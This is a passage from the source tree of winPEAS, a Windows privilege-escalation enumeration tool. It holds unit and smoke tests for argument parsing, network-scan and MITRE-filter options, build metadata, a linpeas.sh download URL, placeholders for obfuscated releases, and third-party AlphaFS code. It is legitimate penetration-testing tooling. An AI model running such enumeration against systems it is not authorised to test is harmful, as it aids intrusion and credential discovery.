Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Core.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Data.DataSetExtensions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Data.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\\lib\\net451\\System.Data.SQLite.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\System.Data.SQLite.EF6.1.0.119.0\\lib\\net451\\System.Data.SQLite.EF6.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\System.Data.SQLite.Linq.1.0.119.0\\lib\\net451\\System.Data.SQLite.Linq.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.IO.Compression.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Net.Http.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Numerics.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Facades\\System.Runtime.InteropServices.RuntimeInformation.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Xml.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Xml.Linq.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\winPEAS\\bin\\Debug\\winPEAS.exe","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":true,"ProjectPath":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\winPEAS\\bin\\Debug\\winPEAS.exe"}],"Analyzers":[],"Outputs":[{"OutputItemFullPath":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\Tests\\bin\\Debug\\Tests.dll","OutputItemRelativePath":"Tests.dll"},{"OutputItemFullPath":"","OutputItemRelativePath":""}],"CopyToOutputEntries":[]} ================================================ FILE: winPEAS/winPEASexe/Tests/App.config ================================================ 
    ================================================ FILE: winPEAS/winPEASexe/Tests/ArgumentParsingTests.cs ================================================ using System; using System.Collections.Generic; using System.Linq; using System.Reflection; using Microsoft.VisualStudio.TestTools.UnitTesting; namespace winPEAS.Tests { [TestClass] public class ArgumentParsingTests { private static bool InvokeIsNetworkTypeValid(string arg) { var method = typeof(winPEAS.Checks.Checks).GetMethod("IsNetworkTypeValid", BindingFlags.NonPublic | BindingFlags.Static); Assert.IsNotNull(method, "IsNetworkTypeValid method not found."); return (bool)method.Invoke(null, new object[] { arg }); } private static bool InvokePassesMitreFilter(string[] checkIds) { // Build a minimal ISystemCheck stub whose MitreAttackIds returns checkIds. var stub = new MitreCheckStub(checkIds); var method = typeof(winPEAS.Checks.Checks).GetMethod("PassesMitreFilter", BindingFlags.NonPublic | BindingFlags.Static); Assert.IsNotNull(method, "PassesMitreFilter method not found."); return (bool)method.Invoke(null, new object[] { stub }); } /// Minimal ISystemCheck stub for PassesMitreFilter reflection tests. private sealed class MitreCheckStub : winPEAS.Checks.ISystemCheck { public MitreCheckStub(string[] ids) { MitreAttackIds = ids; } public string[] MitreAttackIds { get; } public void PrintInfo(bool isDebug) { } } /// /// Resets all public static Checks fields that arg parsing can mutate, then /// invokes Program.Main with the supplied args followed by "--help" so execution /// returns immediately after parsing without running any actual system checks. /// private static void ParseOnly(params string[] args) { // Reset every field that Checks.Run() can modify during arg parsing. winPEAS.Checks.Checks.IsDomainEnumeration = false; winPEAS.Checks.Checks.IsNoColor = false; winPEAS.Checks.Checks.DontCheckHostname = false; winPEAS.Checks.Checks.Banner = true; winPEAS.Checks.Checks.IsDebug = false; winPEAS.Checks.Checks.IsLinpeas = false; winPEAS.Checks.Checks.IsLolbas = false; winPEAS.Checks.Checks.IsNetworkScan = false; winPEAS.Checks.Checks.SearchProgramFiles = false; winPEAS.Checks.Checks.NetworkScanOptions = string.Empty; winPEAS.Checks.Checks.PortScannerPorts = null; winPEAS.Checks.Checks.LinpeasUrl = "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh"; winPEAS.Checks.Checks.MaxRegexFileSize = 1000000; winPEAS.Checks.Checks.MitreFilter.Clear(); var argsWithHelp = args.Concat(new[] { "--help" }).ToArray(); Program.Main(argsWithHelp); } [TestMethod] public void ShouldAcceptValidNetworkTypes() { Assert.IsTrue(InvokeIsNetworkTypeValid("-network=auto")); Assert.IsTrue(InvokeIsNetworkTypeValid("-network=10.10.10.10")); Assert.IsTrue(InvokeIsNetworkTypeValid("-network=10.10.10.10/24")); Assert.IsTrue(InvokeIsNetworkTypeValid("-network=10.10.10.10,10.10.10.20")); } [TestMethod] public void ShouldRejectInvalidNetworkTypes() { Assert.IsFalse(InvokeIsNetworkTypeValid("-network=")); Assert.IsFalse(InvokeIsNetworkTypeValid("-network=10.10.10.999")); Assert.IsFalse(InvokeIsNetworkTypeValid("-network=10.10.10.10/64")); Assert.IsFalse(InvokeIsNetworkTypeValid("-network=999.999.999.999/24")); Assert.IsFalse(InvokeIsNetworkTypeValid("-network=not-an-ip")); } // -- Space-separated argument normalisation tests -- [TestMethod] public void NetworkFlag_SpaceSeparated_Netmask_SetsIsNetworkScan() { ParseOnly("-network", "10.0.0.0/24"); Assert.IsTrue(winPEAS.Checks.Checks.IsNetworkScan, "-network 10.0.0.0/24 (space-separated) should set IsNetworkScan"); Assert.AreEqual("10.0.0.0/24", winPEAS.Checks.Checks.NetworkScanOptions); } [TestMethod] public void NetworkFlag_SpaceSeparated_Auto_SetsIsNetworkScan() { ParseOnly("-network", "auto"); Assert.IsTrue(winPEAS.Checks.Checks.IsNetworkScan, "-network auto (space-separated) should set IsNetworkScan"); Assert.IsTrue(string.Equals("auto", winPEAS.Checks.Checks.NetworkScanOptions, StringComparison.OrdinalIgnoreCase), "-network auto (space-separated) should set IsNetworkScan"); } [TestMethod] public void NetworkFlag_EqualsSeparated_Netmask_SetsIsNetworkScan() { ParseOnly("-network=10.0.0.0/24"); Assert.IsTrue(winPEAS.Checks.Checks.IsNetworkScan, "-network=10.0.0.0/24 (equals-separated) should set IsNetworkScan"); Assert.AreEqual("10.0.0.0/24", winPEAS.Checks.Checks.NetworkScanOptions); } [TestMethod] public void NetworkAndPortsFlags_SpaceSeparated_BothParsedCorrectly() { ParseOnly("-network", "auto", "-ports", "80,443"); Assert.IsTrue(winPEAS.Checks.Checks.IsNetworkScan, "-network auto -ports 80,443 should set IsNetworkScan"); var ports = winPEAS.Checks.Checks.PortScannerPorts?.ToList(); Assert.IsNotNull(ports, "PortScannerPorts should not be null"); CollectionAssert.AreEquivalent(new List { 80, 443 }, ports); } [TestMethod] public void MitreFlag_SingleTechnique_ParsedIntoFilter() { ParseOnly("mitre=T1082"); Assert.AreEqual(1, winPEAS.Checks.Checks.MitreFilter.Count, "mitre=T1082 should add exactly one technique to MitreFilter"); Assert.IsTrue(winPEAS.Checks.Checks.MitreFilter.Contains("T1082"), "MitreFilter should contain T1082"); } [TestMethod] public void MitreFlag_MultipleIds_AllParsedIntoFilter() { ParseOnly("mitre=T1082,T1548.002,T1057"); Assert.AreEqual(3, winPEAS.Checks.Checks.MitreFilter.Count, "mitre=T1082,T1548.002,T1057 should add three techniques to MitreFilter"); Assert.IsTrue(winPEAS.Checks.Checks.MitreFilter.Contains("T1082")); Assert.IsTrue(winPEAS.Checks.Checks.MitreFilter.Contains("T1548.002")); Assert.IsTrue(winPEAS.Checks.Checks.MitreFilter.Contains("T1057")); } [TestMethod] public void MitreFlag_CaseInsensitive_IsRecognised() { ParseOnly("MITRE=t1082"); Assert.AreEqual(1, winPEAS.Checks.Checks.MitreFilter.Count, "MITRE= (upper-case) should be accepted case-insensitively"); // HashSet uses OrdinalIgnoreCase so both casing variants should be found Assert.IsTrue(winPEAS.Checks.Checks.MitreFilter.Contains("T1082") || winPEAS.Checks.Checks.MitreFilter.Contains("t1082")); } [TestMethod] public void PassesMitreFilter_EmptyFilter_AllChecksPass() { winPEAS.Checks.Checks.MitreFilter.Clear(); Assert.IsTrue(InvokePassesMitreFilter(new[] { "T1082" }), "An empty MitreFilter should pass every check."); Assert.IsTrue(InvokePassesMitreFilter(new string[0]), "An empty MitreFilter should pass a check with no IDs."); } [TestMethod] public void PassesMitreFilter_ExactMatch_Passes() { winPEAS.Checks.Checks.MitreFilter.Clear(); winPEAS.Checks.Checks.MitreFilter.Add("T1082"); Assert.IsTrue(InvokePassesMitreFilter(new[] { "T1082" }), "A check tagged T1082 should pass when filter contains T1082."); } [TestMethod] public void PassesMitreFilter_NoMatch_Fails() { winPEAS.Checks.Checks.MitreFilter.Clear(); winPEAS.Checks.Checks.MitreFilter.Add("T1082"); Assert.IsFalse(InvokePassesMitreFilter(new[] { "T1057" }), "A check tagged T1057 should not pass when filter only contains T1082."); } [TestMethod] public void PassesMitreFilter_PrefixMatch_Passes() { // Filter on base technique T1552 should match sub-technique T1552.001 winPEAS.Checks.Checks.MitreFilter.Clear(); winPEAS.Checks.Checks.MitreFilter.Add("T1552"); Assert.IsTrue(InvokePassesMitreFilter(new[] { "T1552.001" }), "Filter on T1552 should match a check tagged T1552.001 (prefix match)."); Assert.IsTrue(InvokePassesMitreFilter(new[] { "T1552.005" }), "Filter on T1552 should match a check tagged T1552.005 (prefix match)."); } [TestMethod] public void PassesMitreFilter_SubtechniqueDoesNotMatchDifferentBase_Fails() { winPEAS.Checks.Checks.MitreFilter.Clear(); winPEAS.Checks.Checks.MitreFilter.Add("T1548"); Assert.IsFalse(InvokePassesMitreFilter(new[] { "T1552.001" }), "Filter on T1548 must not match T1552.001."); } [TestMethod] public void PassesMitreFilter_NullMitreAttackIds_PassesThrough() { // A check with null MitreAttackIds should NOT be silently excluded // when a filter is active — it simply has no metadata to match against. winPEAS.Checks.Checks.MitreFilter.Clear(); winPEAS.Checks.Checks.MitreFilter.Add("T1082"); Assert.IsTrue(InvokePassesMitreFilter(null), "A check with null MitreAttackIds should pass through (return true) when a filter is active."); } [TestMethod] public void PassesMitreFilter_EmptyMitreAttackIds_PassesThrough() { // A check that declares string[0] should also pass through, not be silently excluded. winPEAS.Checks.Checks.MitreFilter.Clear(); winPEAS.Checks.Checks.MitreFilter.Add("T1082"); Assert.IsTrue(InvokePassesMitreFilter(new string[0]), "A check with empty MitreAttackIds should pass through (return true) when a filter is active."); } [TestMethod] public void PassesMitreFilter_SubtechniqueFilter_DoesNotMatchParentOnlyTag() { // filter=T1552.001 (child) must NOT match a check tagged only with T1552 (parent). // Parent filters may broaden to children, but never the reverse. winPEAS.Checks.Checks.MitreFilter.Clear(); winPEAS.Checks.Checks.MitreFilter.Add("T1552.001"); Assert.IsFalse(InvokePassesMitreFilter(new[] { "T1552" }), "A sub-technique filter (T1552.001) must not match a check tagged with only the parent (T1552)."); } [TestMethod] public void MaxRegexFileSize_ArgParsed_Correctly() { ParseOnly("max-regex-file-size=500000"); Assert.AreEqual(500000, winPEAS.Checks.Checks.MaxRegexFileSize, "max-regex-file-size=500000 should set MaxRegexFileSize to 500000."); } } } ================================================ FILE: winPEAS/winPEASexe/Tests/ChecksArgumentEdgeCasesTests.cs ================================================ using System; using Microsoft.VisualStudio.TestTools.UnitTesting; namespace winPEAS.Tests { [TestClass] public class ChecksArgumentEdgeCasesTests { [TestMethod] public void ShouldNotThrowOnEmptyLogFileArg() { // Should return early with a user-friendly error, not crash. Program.Main(new[] { "log=" }); } [TestMethod] public void ShouldNotThrowOnPortsWithoutNetwork() { // Should warn and return early because -network was not provided. Program.Main(new[] { "-ports=80,443" }); } [TestMethod] public void ShouldNotThrowOnInvalidNetworkArgument() { // Should warn and return early because the IP is invalid. Program.Main(new[] { "-network=10.10.10.999" }); } [TestMethod] public void ShouldNotThrowOnEmptyNetworkArgument() { // Should warn and return early because the value is empty. Program.Main(new[] { "-network=" }); } } } ================================================ FILE: winPEAS/winPEASexe/Tests/FodyWeavers.xml ================================================  ================================================ FILE: winPEAS/winPEASexe/Tests/FodyWeavers.xsd ================================================  A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. A list of unmanaged 32 bit assembly names to include, delimited with line breaks. A list of unmanaged 64 bit assembly names to include, delimited with line breaks. The order of preloaded assemblies, delimited with line breaks. This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. Controls if .pdbs for reference assemblies are also embedded. Controls if runtime assemblies are also embedded. Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. A list of unmanaged 32 bit assembly names to include, delimited with |. A list of unmanaged 64 bit assembly names to include, delimited with |. The order of preloaded assemblies, delimited with |. 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. A comma-separated list of error codes that can be safely ignored in assembly verification. 'false' to turn off automatic generation of the XML Schema file. ================================================ FILE: winPEAS/winPEASexe/Tests/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("Tests")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Tests")] [assembly: AssemblyCopyright("Copyright © 2021")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("66aa4619-4d0f-4226-9d96-298870e9bb50")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")] ================================================ FILE: winPEAS/winPEASexe/Tests/SmokeTests.cs ================================================ using Microsoft.VisualStudio.TestTools.UnitTesting; using System; namespace winPEAS.Tests { [TestClass] public class SmokeTests { [TestMethod] public void ShouldRunWinPeass() { try { string[] args = new string[] { "systeminfo", "userinfo", "servicesinfo", "browserinfo", "eventsinfo", "cloud", "debug" }; Program.Main(args); } catch (Exception e) { Assert.Fail($"Exception thrown: {e.Message}"); } } [TestMethod] public void ShouldDisplayHelp() { try { string[] args = new string[] { "help", }; Program.Main(args); } catch (Exception e) { Assert.Fail($"Exception thrown: {e.Message}"); } } } } ================================================ FILE: winPEAS/winPEASexe/Tests/packages.config ================================================  ================================================ FILE: winPEAS/winPEASexe/Tests/winPEAS.Tests.csproj ================================================  Debug AnyCPU {66AA4619-4D0F-4226-9D96-298870E9BB50} Library Tests Tests v4.8 512 true true AnyCPU true full false bin\Debug\ DEBUG;TRACE prompt 4 AnyCPU pdbonly true bin\Release\ TRACE prompt 4 ..\packages\Portable.BouncyCastle.1.9.0\lib\net40\BouncyCastle.Crypto.dll ..\packages\Costura.Fody.5.7.0\lib\netstandard1.0\Costura.dll ..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.dll ..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.SqlServer.dll ..\packages\Microsoft.CodeCoverage.16.10.0\lib\net45\Microsoft.VisualStudio.CodeCoverage.Shim.dll ..\packages\MSTest.TestFramework.2.2.5\lib\net45\Microsoft.VisualStudio.TestPlatform.TestFramework.dll True ..\packages\MSTest.TestFramework.2.2.5\lib\net45\Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.dll True ..\packages\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\lib\net451\System.Data.SQLite.dll ..\packages\System.Data.SQLite.EF6.1.0.119.0\lib\net451\System.Data.SQLite.EF6.dll ..\packages\System.Data.SQLite.Linq.1.0.119.0\lib\net451\System.Data.SQLite.Linq.dll ..\packages\System.Runtime.InteropServices.RuntimeInformation.4.3.0\lib\net45\System.Runtime.InteropServices.RuntimeInformation.dll ..\packages\System.Text.RegularExpressions.4.3.1\lib\net463\System.Text.RegularExpressions.dll True {d934058e-a7db-493f-a741-ae8e3df867f4} winPEAS <_PackagesDir>$(MSBuildThisFileDirectory)..\packages\ <_MSTestFrameworkDir>$(_PackagesDir)MSTest.TestFramework.2.2.5\lib\net45\ <_VSTestFrameworkDlls Include="$(_MSTestFrameworkDir)Microsoft.VisualStudio.TestPlatform.TestFramework*.dll" /> <_VSTestCopyDirs Include="$(TargetDir)" Condition="'$(TargetDir)' != '' AND Exists('$(TargetDir)')" /> <_MSTestAdapterDirs Include="$(_PackagesDir)MSTest.TestAdapter.2.2.5\build\net45\" Condition="Exists('$(_PackagesDir)MSTest.TestAdapter.2.2.5\build\net45\')" /> <_MSTestAdapterDirs Include="$(_PackagesDir)MSTest.TestAdapter.2.2.5\build\_common\" Condition="Exists('$(_PackagesDir)MSTest.TestAdapter.2.2.5\build\_common\')" /> This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. ================================================ FILE: winPEAS/winPEASexe/UpgradeLog.htm ================================================  Migration Report

    Migration Report -

    Overview

    ProjectPathErrorsWarningsMessages
    winPEASwinPEAS\winPEAS.csproj100

    Solution and projects

    ================================================ FILE: winPEAS/winPEASexe/binaries/Obfuscated Releases/Dotfuscated/any/.gitkeep ================================================ ================================================ FILE: winPEAS/winPEASexe/binaries/Obfuscated Releases/Dotfuscated/x64/.gitkeep ================================================ ================================================ FILE: winPEAS/winPEASexe/binaries/Obfuscated Releases/Dotfuscated/x86/.gitkeep ================================================ ================================================ FILE: winPEAS/winPEASexe/binaries/Obfuscated Releases/any.xml ================================================  ================================================ FILE: winPEAS/winPEASexe/binaries/Obfuscated Releases/x64.xml ================================================  ================================================ FILE: winPEAS/winPEASexe/binaries/Obfuscated Releases/x86.xml ================================================  ================================================ FILE: winPEAS/winPEASexe/binaries/Release/.gitkeep ================================================ ================================================ FILE: winPEAS/winPEASexe/binaries/x64/Release/.gitkeep ================================================ ================================================ FILE: winPEAS/winPEASexe/binaries/x86/Release/.gitkeep ================================================ ================================================ FILE: winPEAS/winPEASexe/winPEAS/.vs/winPEAS.csproj.dtbcache.json ================================================ {"RootPath":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\winPEAS","ProjectFileName":"winPEAS.csproj","Configuration":"Debug|AnyCPU","FrameworkPath":"","Sources":[],"References":[],"Analyzers":[],"Outputs":[{"OutputItemFullPath":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\winPEAS\\bin\\Debug\\winPEAS.exe","OutputItemRelativePath":"winPEAS.exe"},{"OutputItemFullPath":"","OutputItemRelativePath":""}],"CopyToOutputEntries":[]} ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/ChangeErrorMode.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// Controls whether the system will handle the specified types of serious errors or whether the process will handle them. /// Minimum supported client: Windows 2000 Professional /// Minimum supported server: Windows 2000 Server public sealed class ChangeErrorMode : IDisposable { private readonly ErrorMode _oldMode; /// ChangeErrorMode is for the Win32 SetThreadErrorMode() method, used to suppress possible pop-ups. /// One of the values. public ChangeErrorMode(ErrorMode mode) { if (IsAtLeastWindows7) SetThreadErrorMode(mode, out _oldMode); else _oldMode = SetErrorMode(mode); } void IDisposable.Dispose() { ErrorMode oldMode; if (IsAtLeastWindows7) SetThreadErrorMode(_oldMode, out oldMode); else SetErrorMode(_oldMode); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Device.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Microsoft.Win32.SafeHandles; using System; using System.Collections.Generic; using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.IO; using System.Runtime.InteropServices; using System.Security; using System.Security.AccessControl; using System.Text; namespace Alphaleonis.Win32.Filesystem { /// Provides static methods to retrieve device resource information from a local or remote host. public static class Device { #region Enumerate Devices /// [AlphaFS] Enumerates all available devices on the local host. /// instances of type from the local host. /// One of the devices. //[SecurityCritical] //public static IEnumerable EnumerateDevices(DeviceGuid deviceGuid) //{ // return EnumerateDevicesCore(null, deviceGuid, true); //} ///// [AlphaFS] Enumerates all available devices of type on the local or remote host. ///// instances of type for the specified . ///// The name of the local or remote host on which the device resides. null refers to the local host. ///// One of the devices. //[SecurityCritical] //public static IEnumerable EnumerateDevices(string hostName, DeviceGuid deviceGuid) //{ // return EnumerateDevicesCore(hostName, deviceGuid, true); //} /// [AlphaFS] Enumerates all available devices on the local or remote host. //[SecurityCritical] //internal static IEnumerable EnumerateDevicesCore(string hostName, DeviceGuid deviceGuid, bool getAllProperties) //{ // if (Utils.IsNullOrWhiteSpace(hostName)) // hostName = Environment.MachineName; // // CM_Connect_Machine() // // MSDN Note: Beginning in Windows 8 and Windows Server 2012 functionality to access remote machines has been removed. // // You cannot access remote machines when running on these versions of Windows. // // http://msdn.microsoft.com/en-us/library/windows/hardware/ff537948%28v=vs.85%29.aspx // SafeCmConnectMachineHandle safeMachineHandle; // var lastError = NativeMethods.CM_Connect_Machine(Host.GetUncName(hostName), out safeMachineHandle); // NativeMethods.IsValidHandle(safeMachineHandle, lastError); // var classGuid = new Guid(Utils.GetEnumDescription(deviceGuid)); // // Start at the "Root" of the device tree of the specified machine. // using (safeMachineHandle) // using (var safeHandle = NativeMethods.SetupDiGetClassDevsEx(ref classGuid, IntPtr.Zero, IntPtr.Zero, NativeMethods.SetupDiGetClassDevsExFlags.Present | NativeMethods.SetupDiGetClassDevsExFlags.DeviceInterface, IntPtr.Zero, hostName, IntPtr.Zero)) // { // NativeMethods.IsValidHandle(safeHandle, Marshal.GetLastWin32Error()); // uint memberInterfaceIndex = 0; // var interfaceStructSize = (uint)Marshal.SizeOf(typeof(NativeMethods.SP_DEVICE_INTERFACE_DATA)); // var dataStructSize = (uint)Marshal.SizeOf(typeof(NativeMethods.SP_DEVINFO_DATA)); // // Start enumerating device interfaces. // while (true) // { // var interfaceData = new NativeMethods.SP_DEVICE_INTERFACE_DATA { cbSize = interfaceStructSize }; // var success = NativeMethods.SetupDiEnumDeviceInterfaces(safeHandle, IntPtr.Zero, ref classGuid, memberInterfaceIndex++, ref interfaceData); // lastError = Marshal.GetLastWin32Error(); // if (!success) // { // if (lastError != Win32Errors.NO_ERROR && lastError != Win32Errors.ERROR_NO_MORE_ITEMS) // NativeError.ThrowException(lastError, hostName); // break; // } // // Create DeviceInfo instance. // var diData = new NativeMethods.SP_DEVINFO_DATA {cbSize = dataStructSize}; // var deviceInfo = new DeviceInfo(hostName) {DevicePath = GetDeviceInterfaceDetail(safeHandle, ref interfaceData, ref diData).DevicePath}; // if (getAllProperties) // { // deviceInfo.InstanceId = GetDeviceInstanceId(safeMachineHandle, hostName, diData); // SetDeviceProperties(safeHandle, deviceInfo, diData); // } // else // SetMinimalDeviceProperties(safeHandle, deviceInfo, diData); // yield return deviceInfo; // } // } //} #region Private Helpers [SecurityCritical] private static string GetDeviceInstanceId(SafeCmConnectMachineHandle safeMachineHandle, string hostName, NativeMethods.SP_DEVINFO_DATA diData) { uint ptrPrevious; var lastError = NativeMethods.CM_Get_Parent_Ex(out ptrPrevious, diData.DevInst, 0, safeMachineHandle); if (lastError != Win32Errors.CR_SUCCESS) NativeError.ThrowException(lastError, hostName); using (var safeBuffer = new SafeGlobalMemoryBufferHandle(NativeMethods.DefaultFileBufferSize / 8)) // 512 { lastError = NativeMethods.CM_Get_Device_ID_Ex(diData.DevInst, safeBuffer, (uint) safeBuffer.Capacity, 0, safeMachineHandle); if (lastError != Win32Errors.CR_SUCCESS) NativeError.ThrowException(lastError, hostName); // Device InstanceID, such as: "USB\VID_8087&PID_0A2B\5&2EDA7E1E&0&7", "SCSI\DISK&VEN_SANDISK&PROD_X400\4&288ED25&0&000200", ... return safeBuffer.PtrToStringUni(); } } /// Builds a Device Interface Detail Data structure. /// An initialized NativeMethods.SP_DEVICE_INTERFACE_DETAIL_DATA instance. [SecurityCritical] private static 